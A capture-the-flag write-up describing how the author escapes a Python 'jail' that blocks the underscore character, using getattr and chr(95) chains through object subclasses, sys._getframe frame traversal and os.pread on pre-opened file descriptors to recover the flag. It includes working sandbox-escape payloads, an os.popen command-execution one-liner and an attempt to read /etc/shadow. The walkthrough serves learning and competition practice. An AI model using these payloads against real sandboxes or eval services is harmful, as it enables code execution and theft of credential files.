Write-up GEMASTIK 19 – Ouroboros, black-box Python filter bypass
![]()
Challenge Description: Send Python and it runs. Something reads how you wrote it first. Points: 495
Black Box? Aww man :(
So, we're given a CLI app. From the challenge description, I assume (from the description of the challenges) this was a Python app; just typing some text like 1 and 1+1, it just returns OK, not an output. Interesting...

The first thing I did was test for eval, print, and other normal stuff you do on this kind of challenge.

It results in a NameError, interesting, so most, or even all, built-in functions are probably disabled!
I assume this is some kind of command injection or a way to break out of eval, so I went straight to PayloadAllTheThings and checked out their SSTI Python template; it's not an SSTI challenge, but I bet it'll work here.

So I tried the universal one
__include__("os").popen("id").read()
Heh, I bet this challenge is that easy :p
It isn't.

Aww, this one sucks, but which character is being blocked, though?
So I tested and tested, and I finally found that the problem is in the “_” character! Nothing else! So I just need to bypass it, then read the flag, right?
So I came up with this:
>>> getattr(getattr(getattr(getattr((), chr(95)*2+"class"+chr(95)*2), chr(95)*2+"base"+chr(95)*2), chr(95)*2+"subclasses"+chr(95)*2)()[84], "load"+chr(95)+"module")("os")
<module 'os' (built-in)>
Okay... After some time of work, I bet this'll immediately work, right?
B-but it works on my machine :(

Of course it doesn't; I know why, it's because of a version mismatch. I bet the Python used on the server isn't the same as the one on my machine
You know what they say, if it ain't broke, break it. I found this Write-Up from Hack.lu CTF 2023, in one of the steps there, the creator says that he can break the eval filter by using a Unicode bypass

So I just stole it and tried it myself
> 𝓹𝓻𝓲𝓷𝓽("𝓛𝔂𝓻𝓪")
Traceback (most recent call last):
File "/opt/ouroboros/jail.py", line 153, in <module>
File "/opt/ouroboros/jail.py", line 139, in serve
File "/opt/ouroboros/jail.py", line 87, in check
File "/usr/local/lib/python3.12/ast.py", line 52, in parse
ImportError: /usr/local/lib/python3.12/lib-dynload/unicodedata.cpython-312-x86_64-linux-gnu.so: cannot open shared object file: Operation not permitted
Welp, I guess I accidentally broke the challenge. But this led to new information: that the challenge is run on Python 3.12 (I'm using 3.9). Well that's why.
I assume that the problem setter used simple FROM python:3.12 on its Dockerfile, so I just did the same on my machine
☁ ~ docker run -it --rm python:3.12 python3
Python 3.12.14 (main, Aug 13 2026, 19:41:20) [GCC 14.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> getattr(getattr(getattr(getattr((), chr(95)*2+"class"+chr(95)*2), chr(95)*2+"base"+chr(95)*2), chr(95)*2+"subclasses"+chr(95)*2)()[120], "load"+chr(95)+"module")("os")
<module 'os' (built-in)>
Okay, on my machine it was 84, but on 3.12 it's 120, so I tried doing this on the server, and it works!

Well, at least it's “OK”, not an error or rejected.
Breaking away from the jail
Well Ill stop using too many images from here; I'm too lazy to do it :p
I updated my payload to:
a = getattr(getattr(getattr(getattr((), chr(95)*2+"class"+chr(95)*2), chr(95)*2+"base"+chr(95)*2), chr(95)*2+"subclasses"+chr(95)*2)()[120], "load"+chr(95)+"module")("builtins"); b=a.open("/etc/shadow").read();print(b)
It will try to open /etc/shadow, read it, and print it to the console (yes, I checked that print worked). But I got a PermissionError; I got a feeling that this user doesn't have read permission to any system files. So I thought, what if the flag isn't stored in a file, but in the host!
I checked the hack.lu reference again, and found out that you can access the host variables by using the sys._getframe method, so I tested it locally
>>> a = "test"
>>> eval("sys._getframe().f_back.f_locals")
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'sys': <module 'sys' (built-in)>, 'a': 'test'}
>>>
I modified it to check the host's variable, and list it
> a=getattr(getattr(getattr(getattr((),chr(95)*2+"class"+chr(95)*2),chr(95)*2+"base"+chr(95)*2),chr(95)*2+"subclasses"+chr(95)*2)()[120],"load"+chr(95)+"module")("builtins");s=getattr(a,chr(95)*2+"import"+chr(95)*2)("sys");f=getattr(getattr(s,chr(95)+"getframe")(),"f"+chr(95)+"back");l=getattr(f,"f"+chr(95)+"locals");a.print(getattr(l,"keys")())
dict_keys(['fd_a', 'fd_b', 'ns', 'line', 'code', 'tree'])
___ _ __
/ _ \ | |/ /
| | | | | ' /
| |_| | | . \
\___/ |_|\_\
>
Okay, so there are fd_a and fd_b variables, so I modified the payload to check those variables
> a=getattr(getattr(getattr(getattr((),chr(95)*2+"class"+chr(95)*2),chr(95)*2+"base"+chr(95)*2),chr(95)*2+"subclasses"+chr(95)*2)()[120],"load"+chr(95)+"module")("builtins");s=getattr(a,chr(95)*2+"import"+chr(95)*2)("sys");f=getattr(getattr(s,chr(95)+"getframe")(),"f"+chr(95)+"back");l=getattr(f,"f"+chr(95)+"locals");o=getattr(a,chr(95)*2+"import"+chr(95)*2)("os");a.print(getattr(getattr(o,"pread")(getattr(l,"get")("fd"+chr(95)+"a"),4096,0)+getattr(o,"pread")(getattr(l,"get")("fd"+chr(95)+"b"),4096,0),"decode")())
GEMASTIK19{tw0_sk1ns_0n3_serp3nt_r34d_th3_pre0p3n3d_fd}
___ _ __
/ _ \ | |/ /
| | | | | ' /
| |_| | | . \
\___/ |_|\_\
>
Well, uh, something definitely could be improved. I spent way too much time finding the correct array; well, at least I got it
This website does not use cookie because I don't care about your data.